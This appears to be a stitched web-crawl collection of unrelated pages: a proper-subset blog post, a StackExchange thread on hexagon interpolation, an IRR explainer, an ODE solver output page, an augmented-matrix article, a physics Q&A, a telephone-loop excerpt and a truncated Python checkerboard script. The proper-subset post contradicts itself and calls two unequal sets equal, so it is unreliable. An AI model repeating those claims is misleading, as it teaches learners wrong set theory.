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Last modified May 26 13:17 EDT 2022. Contains 354092 sequences. (Running on oeis4.) | 855 | 2,187 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.46875 | 3 | CC-MAIN-2022-21 | latest | en | 0.387116 |
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# Proper Subset Mean in Math
April 29, 2023
written by Azhar Ejaz
A subset is a set of elements that are part of a larger set. A proper subset is a subset that does not contain all the elements of the larger set.
Key points
• Proper subsets contain some but not all elements of the original set
• Improper subsets contain all elements of the original set, including the null set
• A set is a proper subset of itself
• Proper subsets are used in data analysis to represent relevant subsets
• The number of proper subsets of a set with n elements is 2^n – 1
• Proper subset example properties are important in set theory and have real-life applications
## Define Proper Subset
A proper subset is a subset of a set that contains some but not all of the elements of the original set. On the other hand, an improper subset is a subset that contains all of the elements of the original set, including the null set.
Suppose we have two sets, A and B,
Where A = {1, 2, 3, 4} and B = {1, 2, 3, 4, 5}. A is a subset of B because all the elements of A are also present in B. However, A is not a proper subset of B because A = B.
Now suppose we have two different sets, C and D, where C = {1, 2} and D = {1, 2, 3}. C is a subset of D because all the elements of C are also present in D. However, C is a proper subset of D because D has elements that are not present in C.
## Properties of Proper Subset
Now that we understand what proper subset means, let’s explore some of its properties.
• A proper subset is always a subset
A proper subset is a subset that does not contain all the elements of the larger set. This means that a proper subset is always a subset, but a subset is not necessarily a proper subset.
• A set is not a proper subset of itself
As we saw in the first example, a set is not a proper subset of itself. This is because a proper subset must contain fewer elements than the larger set, but a set cannot contain fewer elements than itself.
• The empty set is a proper subset of every set
The empty set is a set that contains no elements. It is always a subset of every set, including itself. However, it is only a proper subset of sets that contain at least one element.
• The number of proper subsets of a set with n elements is 2^n – 1
This property tells us how many proper subsets a set with n elements has. The number of subsets of a set with n elements is 2^n, but we subtract 1 to exclude the set itself.
## Real-life Applications of Proper Subset
Proper subset example properties have real-life applications in various fields, including mathematics, computer science, and data analysis. Here are a few examples:
### Mathematics
Proper subsets are used in many areas of mathematics, including set theory, combinatorics, and topology. They are particularly useful in proving mathematical theorems.
### Computer Science
Proper subsets are used in computer science to represent relationships between data elements. For example, in a database, a table may have a set of columns and a subset of those columns may be used to represent a subset of the data.
### Data Analysis
Proper subsets are used in data analysis to represent subsets of data that are relevant to a particular analysis. For example, in a survey, a subset of the data may be analyzed to look at the responses of a particular demographic.
### What is the difference between a subset and a proper subset?
A subset is a set of elements that are part of a larger set, while a proper subset is a subset that does not contain all the elements of the larger set.
### Is the empty set a proper subset?
Yes, the empty set is a proper subset of every set.
### How many proper subsets does a set with 4 elements have?
A set with 4 elements has 15 proper subsets.
### What is the real-life application of proper subsets in data analysis?
Proper subsets are used in data analysis to represent subsets of data that are relevant to a particular analysis.
### What is the formula for finding the number of proper subsets of a set with n elements?
The number of proper subsets of a set with n elements is 2^n – 1.
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https://scicomp.stackexchange.com/questions/37082/polynomial-interpolation-on-a-regular-hexagon/37143 | 1,725,964,388,000,000,000 | text/html | crawl-data/CC-MAIN-2024-38/segments/1725700651241.17/warc/CC-MAIN-20240910093422-20240910123422-00566.warc.gz | 469,448,030 | 47,714 | # Polynomial interpolation on a regular hexagon
### Background
We know a function $$f$$ on the vertices of a regular hexagon, as follows
$$\left( 1, \ 0, \ f_{0}\right), \ \left( \frac{1}{2}, \ \frac{\sqrt{3}}{2}, \ f_{1}\right), \ \left( - \frac{1}{2}, \ \frac{\sqrt{3}}{2}, \ f_{2}\right), \ \left( -1, \ 0, \ f_{3}\right), \ \left( - \frac{1}{2}, \ - \frac{\sqrt{3}}{2}, \ f_{4}\right), \ \left( \frac{1}{2}, \ - \frac{\sqrt{3}}{2}, \ f_{5}\right)\, ,$$
and we want to interpolate a polynomial.
If we propose a quadratic polynomial of the form
$$p(x, y) = a_{0} x^{2} + a_{1} x y + a_{2} y^{2} + a_{3} x + a_{4} y + a_{5}\, ,$$
we end up with the following system
$$\left[\begin{matrix} 1 & 0 & 0 & 1 & 0 & 1\\ \frac{1}{4} & \frac{\sqrt{3}}{4} & \frac{3}{4} & \frac{1}{2} & \frac{\sqrt{3}}{2} & 1\\ \frac{1}{4} & - \frac{\sqrt{3}}{4} & \frac{3}{4} & - \frac{1}{2} & \frac{\sqrt{3}}{2} & 1\\1 & 0 & 0 & -1 & 0 & 1\\ \frac{1}{4} & \frac{\sqrt{3}}{4} & \frac{3}{4} & - \frac{1}{2} & - \frac{\sqrt{3}}{2} & 1\\ \frac{1}{4} & - \frac{\sqrt{3}}{4} & \frac{3}{4} & \frac{1}{2} & - \frac{\sqrt{3}}{2} & 1\end{matrix} \right] \left[\begin{matrix}a_{0}\\a_{1}\\a_{2}\\a_{3}\\a_{4}\\a_{5}\end{matrix}\right] = \left[\begin{matrix}f_{0}\\f_{1}\\f_{2}\\f_{3}\\f_{4}\\f_{5}\end{matrix}\right]\, ,$$
where the Vandermonde matrix is singular, and the system does not have any solution.
I suppose that this behavior has something to do with the symmetries present in the sampling points, but I am not sure, though.
### Questions
1. What is the reason for this behavior?
2. Is there any known polynomial interpolator for the vertices of a regular hexagon?
• For that set of points, the polynomial basis you are using is not unisolvent. Particularly, if you want to fit a quadratic polynomial using the Lagrange basis, I believe one of the nodes have to be inside the hexagon and the rest of them should be 5 out of 6 vertices of the hexagon. I don't have further intuition why that must be. IIRC, the proper basis would contain polynomials similar to the hat functions, i.e. $\phi_i(\vec{x}_j)$ should be zero if $j\neq i$ and should be one if $j=i$. I quickly searched and found the paper "On the hexagonal Shepard method" on the topic. Hope it helps. Commented Mar 22, 2021 at 20:23
• Why not split the hexagon into 6 triangles (with the additional vertex at the center of the hexagon), assigning the average of the 6 values to the center, and do linear interpolation on each triangle? Commented Mar 22, 2021 at 21:04
• @WolfgangBangerth, the idea came up trying to find the gradient of the function in the vertices of a triangular mesh. So, we are considering an interpolation over the dual mesh defining the value on each centroid. There are ways of solving the problem, but I am still curious about this case. Commented Mar 22, 2021 at 21:14
• @nicoguaro Take a look at how the "virtual element method" deals with this. They solve equations on arbitrary polygonal meshes, so a regular hexagon is a typical cell shape for them. Commented Mar 23, 2021 at 9:01
• Might be worthwhile instead minimizing some objective function (say a measure of the surface curvature, maybe the Gaussian curvature at the midpoint) subject to the interpolation constraints above. Lagrange multipliers, etc. Commented Mar 23, 2021 at 22:55
As noticed by @AbdullahAliSivas the set of basis functions is not unisolvent.
In 1d case to obtain an polynomial interpolation of degree $$N$$ you just need of $$N+1$$ distinct points, $$x_i \neq x_j$$ if $$i \neq j$$. Changing the points disposition change the quality of the interpolation, because change the Lebesgue's costant. Think to Runge's phenomenon.
Going to dimension $$\ge 2$$ there is a drastic change. An arbitrary set of points does not guarantee the possibility of interpolation. To remark not the quality, but the possibility to have got an interpolation.
This come from a Haar's theorem. I report here:
Def Consider the linear finite dimensional subset $$\mathbf{B} \subseteq C(\Omega)$$ with the basis $$\{B_1, \dots , B_N\}$$. $$\mathbf{B}$$ is an Haar space on $$\Omega$$ if $$\det (B_i(x_j)) \neq 0$$ for any set of distinct $$x_1, \dots, x_N$$ in $$\Omega$$.
Note that your interpolation matrix $$A$$ is $$A_{ij} = B_j(x_i)$$.
Theorem If $$\Omega \subset \mathbb{R}^d$$ with $$d \geq 2$$ contains an interior point, the there exist no Haar spaces of continuous functions except for 1d case.
If you look the proof you can see that precisely the geometry of a space with dimension $$\geq 2$$ permit to swap in continuous way two points, without crash, of an arbitrary set. In in a reasoning by contradiction the determinant of matrix $$A$$ change sign and by continuity must go to zero at same time (here the contradiction).
This does not happens with 1d because the points are in a straight line and is not possible to swap two points without crash. To choose function $$B_i$$ with a dependence by the data $$x_j$$ allows to avoid the implication of Haar theorem and this is the door for the branch of scattered data approximation.
UPDATE
As requested I left a reference for the theorem:
Mairhuber, John C., On Haar’s theorem concerning Chebychev approximation problems having unique solutions, Proc. Am. Math. Soc. 7, 609-615 (1956). ZBL0070.29101.
• Could you add a reference to this theorem? Commented Apr 2, 2021 at 12:45
• @AmitHochman Hi, I update the post. Commented Apr 2, 2021 at 13:29
Since you are trying to find the gradient of the function in the vertices of a triangular mesh. So, we are considering an interpolation over the dual mesh defining the value on each centroid, you can try those area based interpolation function e.g, Wachspress Interpolation function.
The benefit of this interpolation function is that it is general enough for a polygon of any side and for n=4 it reduces to standard linear interpolation of quad element. You also do not need to place any node inside. You can construct the interpolation function just by using the coordinate of the vertices, no need of any matrix inversion to get the coefficient values. The only limitation is that the interpolation function is not in polynomial form rather a rational function.
### Reference
Let's use the polar coordinates ($$\rho,\theta$$), then for the six vertices of the regular hexagon defined by $$\rho$$=1 and polar angles $$\theta_i$$ there are the following equations
$$f(\theta_i) = a_0 \cos^2(\theta_i) + a_1 \sin^2(\theta_i) + a_2 \cos(\theta_i) \sin(\theta_i) + \\ + a_3 \cos(\theta_i) + a_4 \sin(\theta_i) + a_5 = f_i$$
where $$f_i$$ is the value at the i$$^{th}$$ vertex $$\theta_i = 2\pi i/6,$$ i $$\in$$ {0...5}; and $$a_k$$, k$$\in$${0...5}, are the unknown coefficients to be found. These equations are compactly written in terms of the Vandermonde matrix that is shown in the problem statement.
It looks like there are six degrees of freedom and six constraints here, so it should be a well posed problem. However, there is an identity linking the three coefficients,
$$a_0 \cos^2(\theta) + a_1 \sin^2(\theta) + a_5 = (a_0-a_1) \cos^2(\theta) + (a_1+a_5) = \\ (a_1-a_0) \sin^2(\theta) + (a_5+a_0)$$
So there is some arbitrariness in the coefficients $$a_i$$, and that's the crux of the problem, that's what makes the original linear system of six equations ill-conditioned. The number of independent degrees of freedom is one less, whether it is a symmetric arrangement on a unit circle (the regular hexagon) or not.
For clarity of this argument, one can rewrite the original equations like this:
$$f(\theta_i) = b_0 \cos(2\theta_i) + b_1 \sin(2\theta_i) + b_2 \cos(\theta_i) + b_3 \sin(\theta_i) + b_4 = f_i,$$
where $$b_0=(a_0-a_1)/2$$, $$b_1=a_2/2$$, $$b_2=a_3$$, $$b_3=a_4$$, $$b_4=a_5+(a_0+a_1)/2$$.
Clearly there are five independent degrees of freedom here $$b_k$$, k$$\in$${0...4}, and one should have a well posed problem setting the values of the interpolating polynomial at five arbitrary points on a unit circle.
You can treat each of the interpolation nodes as points in the complex plane, i.e., $$z_k = \exp(2\pi i k/ 6)$$, then form the Vandermonde matrix $$V_{kl} = z_k^l$$, for $$k, l = 1, 2, ..., 6$$, and solve $$Vc = f$$ for the vector of coefficients $$f$$. Note that in this case, the Vandermonde matrix obeys $$V^HV = 6I$$ and the interpolation is equivalent to interpolation with trigonometric polynomials or the discrete Fourier Transform. There is no ill-conditioning of $$V$$ to worry about. The interpolant is simply $$\sum_k c_k z^k$$. For a real-valued interpolant, just take its real part, which would be a polynomial of degree 6 in $$x = \Re(z)$$ and $$y = \Im(z)$$. Below is matlab code that implements this.
z0 = exp(1i*linspace(0, 2*pi*(1-1/6), 6));
V = vander(z0);
f = randn(6, 1);
c = V'*f/6;
x = linspace(-1.1, 1.1, 100);
[X, Y] = meshgrid(x);
Z = X + 1j*Y;
fInterp = polyval(c, Z);
clf
mesh(x, x, real(fInterp));
hold on
plot3(real(z0), imag(z0), f, 'o')
axis equal
In general, there is no guarantee you can interpolate using an arbitrary set of polynomials, as your example shows. But if you choose your basis of polynomials as the real and imaginary parts of the powers $$(x+iy)^k$$, for $$k = 1, 2, ..., 6,$$ then an interpolant is guaranteed to exist.
You need either a cubic term or 3D coordinate system to successfully interpolate in a hexagon domain. I do not know how this can be proven mathematically.
The following two papers might offer some insights. | 2,841 | 9,479 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 56, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.375 | 4 | CC-MAIN-2024-38 | latest | en | 0.690641 |
https://retipster.com/terms/irr/ | 1,726,692,765,000,000,000 | text/html | crawl-data/CC-MAIN-2024-38/segments/1725700651941.8/warc/CC-MAIN-20240918201359-20240918231359-00680.warc.gz | 452,114,884 | 51,309 | # Internal Rate of Return Definition
## What is Internal Rate of Return (IRR)?
The Internal Rate of Return (IRR) is the rate at which an investment grows in value during the time it is held. It represents the implied rate of return on each invested dollar over the entire holding period.
REtipster does not provide tax, investment, or financial advice. Always seek the help of a licensed financial professional before taking action.
## Internal Rate of Return (IRR) Explained
The internal rate of return shows what the average return will be on an investment when the time value of money is factored into the equation.
IRR can be calculated based on any time period (daily, monthly, quarterly, semi-annually) and is then annualized to find the annual return.
The easiest way to explain the time value of money is to give an example.
If you had the choice of getting \$20,000 today or \$20,000 six months from now, the \$20,000 today is more valuable due to it’s earning potential. You could invest that \$20,000 right now and start earning money from it rather than waiting six months to get started.
Money put to work now has a higher likelihood of earning more than money put to work in the future because of factors like compound interest.
IRR is a metric that provides insight into how profitable an investment is expected to be and properly accounts for the timing of cash flows.
## How IRR Works in Practice
Suppose you’re analyzing two properties that provide the same total profit over a 10 year period. Both properties will cost the same to acquire.
With Property One, you can begin generating cash flow immediately whereas Property Two requires a large renovation to perform optimally, which will take 24 months to complete.
In this comparison, Property One is likely going to have a higher internal rate of return because the total profit is going to be made sooner compared to Property Two.
As illustrated by the example above, even though Property Two will generate more annual revenue after its renovations are complete, it won’t catch up with Property One until the very end of the 10 year period.
Because of this, and due to the time value of money, Property One has a higher IRR and represents a better investment based on a 10-year time period.
IRR is an implied rate of return. There’s no guarantee an investor will get that return going forward, but the metric helps an investor see this kind of advantage within a property. (source)
## How to Calculate the Internal Rate of Return
The internal rate of return formula is fairly complicated. Luckily, we have the use of tools like Microsoft Excel or Google Sheets, which can make the calculation of IRR much easier.
In order to calculate IRR using Excel or Google Sheets, start by entering the purchase price of the property in the first cell; in the example below, the investor paid \$300,000 for the fourplex.
In cells A2 through however many years you are calculating for IRR, enter the cash flow.
In the final cell, enter the command =IRR(A1:An) where n is the last year in the period and Excel or Google Sheets does the rest.
## Disadvantages to Using the Internal Rate of Return
The IRR isn’t always the best way to compare potential investment properties because it requires you to make a lot of assumptions about the property that may or may not prove true over the time you hold it.
The internal rate of return also has limitations for comparing properties with different holding periods. For example, one property may have a high IRR over the short term, but a low NPV. Another may have a higher NPV and a low IRR over the short term, but over the long term, it earns steadily and grows in value. If you’re using IRR to compare properties, it’s best to compare similar ones—similar risk, similar holding period—so you’re comparing apples to apples (instead of comparing apples to oranges).
The IRR calculation also assumes that cash flows are reinvested each period at the same internal rate of return.
In the example above, the \$10,000 brought in each year by Property One is reinvested to also earn 4.28%. This is a fine assumption to make when the return is reasonable, but it becomes problematic when an investment has an abnormally high return in the early stages (like a 40% return in year one) because the reinvested cash flow isn’t likely to produce the same 40% return year after year. For a real estate investor, IRR probably isn’t the best formula for analyzing those “once in a lifetime” deals.
Finally, your calculations are useless if your assumptions aren’t accurate. In the example above, the cash flow assumed 100% occupancy and a steady 5% annual rent increase. If anything unexpected happens during the time the property is held, such as a catastrophic expense, a higher-than-expected vacancy rate, or a downturn in the local rental market, your projected IRR may fall apart.
Ultimately, you can never have too much data when it comes to adding properties to your portfolio and calculating the IRR of each. Calculating the internal rate of return, along with NPV and cap rate, gives you another level of insight into how a property fits with your investment strategy.
Reviewed by Brandon Renfro, Ph.D. and Kyle Kroeger
Bonus: Get a FREE copy of the INVESTOR HACKS ebook when you subscribe! | 1,120 | 5,319 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.921875 | 3 | CC-MAIN-2024-38 | latest | en | 0.943472 |
https://www.12000.org/my_notes/kamek/mma_12_maple_2019/KERNELsubsection746.htm | 1,721,564,918,000,000,000 | text/html | crawl-data/CC-MAIN-2024-30/segments/1720763517701.96/warc/CC-MAIN-20240721121510-20240721151510-00389.warc.gz | 534,859,887 | 2,958 | #### 2.746 ODE No. 746
$y'(x)=-\frac {i \left (x^4+2 x^2 y(x)^2+y(x)^4+i x\right )}{y(x)}$ Mathematica : cpu = 44.9473 (sec), leaf count = 0 , could not solve
DSolve[Derivative[1][y][x] == ((-I)*(I*x + x^4 + 2*x^2*y[x]^2 + y[x]^4))/y[x], y[x], x]
Maple : cpu = 0.267 (sec), leaf count = 232
$\left \{ y \left ( x \right ) ={\frac {\sqrt {2}}{2\,{{\rm Ai}\left (-\sqrt [3]{-8\,i}x\right )}{\it \_C1}+2\,{{\rm Bi}\left (-\sqrt [3]{-8\,i}x\right )}}\sqrt { \left ( {{\rm Ai}\left (-\sqrt [3]{-8\,i}x\right )}{\it \_C1}+{{\rm Bi}\left (-\sqrt [3]{-8\,i}x\right )} \right ) \left ( \left ( i\sqrt {3}+1 \right ) {\it \_C1}\,{{\rm Ai}^{(1)}\left (-\sqrt [3]{-8\,i}x\right )}+ \left ( i\sqrt {3}+1 \right ) {{\rm Bi}^{(1)}\left (-\sqrt [3]{-8\,i}x\right )}-2\,{x}^{2} \left ( {{\rm Ai}\left (-\sqrt [3]{-8\,i}x\right )}{\it \_C1}+{{\rm Bi}\left (-\sqrt [3]{-8\,i}x\right )} \right ) \right ) }},y \left ( x \right ) =-{\frac {\sqrt {2}}{2\,{{\rm Ai}\left (-\sqrt [3]{-8\,i}x\right )}{\it \_C1}+2\,{{\rm Bi}\left (-\sqrt [3]{-8\,i}x\right )}}\sqrt { \left ( {{\rm Ai}\left (-\sqrt [3]{-8\,i}x\right )}{\it \_C1}+{{\rm Bi}\left (-\sqrt [3]{-8\,i}x\right )} \right ) \left ( \left ( i\sqrt {3}+1 \right ) {\it \_C1}\,{{\rm Ai}^{(1)}\left (-\sqrt [3]{-8\,i}x\right )}+ \left ( i\sqrt {3}+1 \right ) {{\rm Bi}^{(1)}\left (-\sqrt [3]{-8\,i}x\right )}-2\,{x}^{2} \left ( {{\rm Ai}\left (-\sqrt [3]{-8\,i}x\right )}{\it \_C1}+{{\rm Bi}\left (-\sqrt [3]{-8\,i}x\right )} \right ) \right ) }} \right \}$ | 775 | 1,492 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.28125 | 3 | CC-MAIN-2024-30 | latest | en | 0.347577 |
https://en.m.wikipedia.org/wiki/Augmented_matrix | 1,685,563,282,000,000,000 | text/html | crawl-data/CC-MAIN-2023-23/segments/1685224647409.17/warc/CC-MAIN-20230531182033-20230531212033-00503.warc.gz | 284,984,182 | 19,126 | # Augmented matrix
In linear algebra, an augmented matrix is a matrix obtained by appending the columns of two given matrices, usually for the purpose of performing the same elementary row operations on each of the given matrices.
Given the matrices A and B, where
${\displaystyle A={\begin{bmatrix}1&3&2\\2&0&1\\5&2&2\end{bmatrix}},\quad B={\begin{bmatrix}4\\3\\1\end{bmatrix}},}$
the augmented matrix (A|B) is written as
${\displaystyle (A|B)=\left[{\begin{array}{ccc|c}1&3&2&4\\2&0&1&3\\5&2&2&1\end{array}}\right].}$
This is useful when solving systems of linear equations.
For a given number of unknowns, the number of solutions to a system of linear equations depends only on the rank of the matrix representing the system and the rank of the corresponding augmented matrix. Specifically, according to the Rouché–Capelli theorem, any system of linear equations is inconsistent (has no solutions) if the rank of the augmented matrix is greater than the rank of the coefficient matrix; if, on the other hand, the ranks of these two matrices are equal, the system must have at least one solution. The solution is unique if and only if the rank equals the number of variables. Otherwise the general solution has k free parameters where k is the difference between the number of variables and the rank; hence in such a case there are an infinitude of solutions.
An augmented matrix may also be used to find the inverse of a matrix by combining it with the identity matrix.
## To find the inverse of a matrix
Let C be the square 2×2 matrix
${\displaystyle C={\begin{bmatrix}1&3\\-5&0\end{bmatrix}}.}$
To find the inverse of C we create (C|I) where I is the 2×2 identity matrix. We then reduce the part of (C|I) corresponding to C to the identity matrix using only elementary row operations on (C|I).
${\displaystyle (C|I)=\left[{\begin{array}{cc|cc}1&3&1&0\\-5&0&0&1\end{array}}\right]}$
${\displaystyle (I|C^{-1})=\left[{\begin{array}{cc|cc}1&0&0&-{\frac {1}{5}}\\0&1&{\frac {1}{3}}&{\frac {1}{15}}\end{array}}\right],}$
the right part of which is the inverse of the original matrix.
## Existence and number of solutions
Consider the system of equations
{\displaystyle {\begin{aligned}x+y+2z&=2\\x+y+z&=3\\2x+2y+2z&=6.\end{aligned}}}
The coefficient matrix is
${\displaystyle A={\begin{bmatrix}1&1&2\\1&1&1\\2&2&2\\\end{bmatrix}},}$
and the augmented matrix is
${\displaystyle (A|B)=\left[{\begin{array}{ccc|c}1&1&2&2\\1&1&1&3\\2&2&2&6\end{array}}\right].}$
Since both of these have the same rank, namely 2, there exists at least one solution; and since their rank is less than the number of unknowns, the latter being 3, there are an infinite number of solutions.
In contrast, consider the system
{\displaystyle {\begin{aligned}x+y+2z&=3\\x+y+z&=1\\2x+2y+2z&=5.\end{aligned}}}
The coefficient matrix is
${\displaystyle A={\begin{bmatrix}1&1&2\\1&1&1\\2&2&2\\\end{bmatrix}},}$
and the augmented matrix is
${\displaystyle (A|B)=\left[{\begin{array}{ccc|c}1&1&2&3\\1&1&1&1\\2&2&2&5\end{array}}\right].}$
In this example the coefficient matrix has rank 2 while the augmented matrix has rank 3; so this system of equations has no solution. Indeed, an increase in the number of linearly independent rows has made the system of equations inconsistent.
## Solution of a linear system
As used in linear algebra, an augmented matrix is used to represent the coefficients and the solution vector of each equation set. For the set of equations
{\displaystyle {\begin{aligned}x+2y+3z&=0\\3x+4y+7z&=2\\6x+5y+9z&=11\end{aligned}}}
the coefficients and constant terms give the matrices
${\displaystyle A={\begin{bmatrix}1&2&3\\3&4&7\\6&5&9\end{bmatrix}},\quad B={\begin{bmatrix}0\\2\\11\end{bmatrix}},}$
and hence give the augmented matrix
${\displaystyle (A|B)=\left[{\begin{array}{ccc|c}1&2&3&0\\3&4&7&2\\6&5&9&11\end{array}}\right].}$
Note that the rank of the coefficient matrix, which is 3, equals the rank of the augmented matrix, so at least one solution exists; and since this rank equals the number of unknowns, there is exactly one solution.
To obtain the solution, row operations can be performed on the augmented matrix to obtain the identity matrix on the left side, yielding
${\displaystyle \left[{\begin{array}{ccc|r}1&0&0&4\\0&1&0&1\\0&0&1&-2\\\end{array}}\right],}$
so the solution of the system is (x, y, z) = (4, 1, −2).
## References
• Marvin Marcus and Henryk Minc, A survey of matrix theory and matrix inequalities, Dover Publications, 1992, ISBN 0-486-67102-X. Page 31. | 1,395 | 4,514 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 15, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.65625 | 5 | CC-MAIN-2023-23 | latest | en | 0.791849 |
https://plainmath.net/83798/explain-how-absorption-and-emission-line | 1,660,049,761,000,000,000 | text/html | crawl-data/CC-MAIN-2022-33/segments/1659882570977.50/warc/CC-MAIN-20220809124724-20220809154724-00747.warc.gz | 418,475,036 | 12,610 | # Explain how absorption and emission lines are created in the atom.
Explain how absorption and emission lines are created in the atom.
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dasse9
An emission line is produced by an atom in an excited energy state. When an electron jumps from a higher energy level to a lower energy level, energy will be released. And that is when absorption lines are produced. In order to go to a lower energy orbit, the electron must lose energy of a certain specific amount. The atom releases the energy in the form of a photon with that particular energy.
If an atom with an electron at the ${E}_{2}$ orbit and wants to get to the lower ${E}_{1}$ energy orbit, it gives off a photon with energy,
$E=hv\phantom{\rule{0ex}{0ex}}={E}_{2}-{E}_{1}$
The electron may reach the ground state in one jump or it may temporarily stop at one or more energy levels on the way, but it cannot stop somewhere between the energy levels.
An absorption line is produced when a photon of just the right energy is absorbed by an atom. When an electron absorbs enough amount of energy, then it will jump to a higher energy orbit. The size of the outward jumps made by the electrons is the same as that of the inward jumps. Therefore, the pattem of absorption lines is the same as the pattem of emission lines.
If an atom with electron in the E, orbit sees a photon with energy ${E}_{photon}={E}_{2}-{E}_{1}$ , the photon is absorbed and electron moves to ${E}_{2}$. | 380 | 1,639 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 15, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.328125 | 3 | CC-MAIN-2022-33 | latest | en | 0.932466 |
https://www.fishercom.xyz/voice-channels/extending-the-subscriber-loop.html | 1,585,761,674,000,000,000 | text/html | crawl-data/CC-MAIN-2020-16/segments/1585370505826.39/warc/CC-MAIN-20200401161832-20200401191832-00486.warc.gz | 955,466,684 | 5,943 | ## Extending the Subscriber Loop
In many situations, subscribers will reside outside of the maximum subscriber loop lengths described above. There are five generally accepted methods that can be used to extend these maximums. They are:
1. Increase conductor diameter (covered above).
2. Use amplifiers and/or range extenders.6
4. Use digital subscriber line (DSL) techniques (covered in Chapter 6).
5. Employ remote concentrators or switches (see Section 4.3).
Amplifiers in the subscriber loop extend the transmission range. Perhaps better said, they compensate for loop loss. Commonly such amplifiers are set for about 7-dB gain. Care must be used to assure that dc signaling is not lost.
• Decrease the velocity of propagation7
• Increase the impedance
Loaded cables are coded according to the spacing of the load coils. The standard code for the spacing of load coils is shown in Table 5.3. Loaded cables typically are designated
6A range extender increases the battery voltage to either -84 or -96 V dc. In some texts the term loop extender is used rather than range extender.
7Velocity of propagation is the speed (velocity) that an electrical signal travels down a particular transmission medium.
Code Spacing Spacing Letter (ft) (m) A 700 213.5 B 3000 915 C 929 283.3 D 4500 1372.5 E 5575 1700.4 F 2787 850 H 6000 1830 X 680 207.4 Y 2130 649.6
19H44, 24B88, and so forth. The first number indicates the wire gauge, the letter is taken from Table 5.3 and is indicative of the spacing, and the third number is the inductance of the load coil in millihenries (mH). For example, 19H66 cable has been widely used in Europe for long-distance operation. Thus this cable has 19-gauge wire pairs with load coils inserted at 1830-m (6000 ft) intervals with coils of 66-mH inductance. The most commonly used spacings are B, D, and H.
Table 5.4 will be useful in calculating the attenuation (loss) of loaded loops for a given length. For example, in 19H88, the last entry in the table, the attenuation per kilometer is 0.26 dB (0.42 dB per statute mile). Thus for our 8-dB loop loss limit, we have 8/02.6, limiting the loop to 30.77 km (19.23 mi).
When determining signaling limits in loop design, add about 15 Q per load coil as a series resistor. In other words, the resistance values of the series load coils must be included in the total loop resistance. | 600 | 2,370 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.546875 | 3 | CC-MAIN-2020-16 | latest | en | 0.850845 |
https://codereview.stackexchange.com/questions/211195/draw-checker-board | 1,627,648,955,000,000,000 | text/html | crawl-data/CC-MAIN-2021-31/segments/1627046153966.60/warc/CC-MAIN-20210730122926-20210730152926-00077.warc.gz | 193,264,712 | 38,872 | # Draw checker board
For an assignment, I had to draw a checkers board, with blue and red checkers, in python. What I have works, but I'm wondering if there's a more elegant and/or efficient way to accomplish this feat? Any and all suggestions are welcome!
import turtle
def draw_box(t,x,y,size,fill_color):
t.penup()
t.goto(x,y)
t.pendown()
t.fillcolor(fill_color)
t.begin_fill()
for i in range(0,4):
board.forward(size)
board.right(90)
t.end_fill()
t.penup()
t.goto(x,y)
t.pendown()
t.fillcolor(color)
t.begin_fill()
t.end_fill()
def draw_chess_board():
square_color = "black"
start_x = 0
start_y = 0
box_size = 30
for i in range(0,8):
for j in range(0,8):
draw_box(board, start_x + j * box_size, start_y + i * box_size, box_size, square_color)
square_color = 'black' if square_color == 'white' else 'white'
if square_color == 'black' and i < 3:
draw_circle(board, board.xcor() + (box_size / 2), board.ycor() - box_size, box_size / 2, "red")
if square_color == 'black' and i > 4:
